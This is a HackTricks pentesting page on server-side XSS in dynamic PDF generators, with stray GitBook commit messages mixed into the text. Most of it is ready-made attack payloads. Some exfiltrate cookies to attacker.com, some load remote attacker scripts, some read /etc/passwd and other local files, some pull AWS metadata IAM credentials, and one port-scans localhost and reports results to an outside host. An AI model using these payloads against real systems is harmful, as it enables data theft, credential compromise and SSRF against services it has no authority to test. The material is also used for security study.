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hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

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GitBook: [#3154] No subject
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# Server Side XSS (Dynamic PDF)
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# Server Side XSS (Dynamic PDF)
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GitBook: [#2876] save
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If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\
So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**.
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GitBook: [#2777] gitbookissooooo slow I cannot write
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Please, notice that the `<script><\script>` tags don't work always, so you will need a different method to execute JS (for example, abusing `<img` ).\
Also, note that in a regular exploitation you will be **able to see/download the created pdf**, so you will be able to see everything you **write via JS** (using `document.write()` for example). But, if you **cannot see** the created PDF, you will probably need **extract the information making web request to you** (Blind).
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# Payloads
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## Discovery
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```markup
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<!-- Basic discovery, Write somthing-->
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<img src="x" onerror="document.write('test')" />
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<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
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<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```
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## SVG
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Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
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<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
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```
GitBook: [#3154] No subject
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You can find a lot **other SVG payloads** in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)****
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## Path disclosure
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```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```
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## Load an external script
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The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
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## Read local file
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```markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
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</script>
```
```markup
<script>
xhzeem = new XMLHttpRequest();
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
</script>
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```
```markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
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<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
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```
Added XSS LFI for dynamic PDF
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```markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
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## Get external web page response as attachment (metadata endpoints)
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```markup
<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">
```
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## Bot delay
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```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
```
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## Port Scan
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```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```
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## [SSRF](../ssrf-server-side-request-forgery/)
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GitBook: [#2777] gitbookissooooo slow I cannot write
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This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).
GitBook: [master] 351 pages and 442 assets modified
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# References
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{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}
{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}
{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
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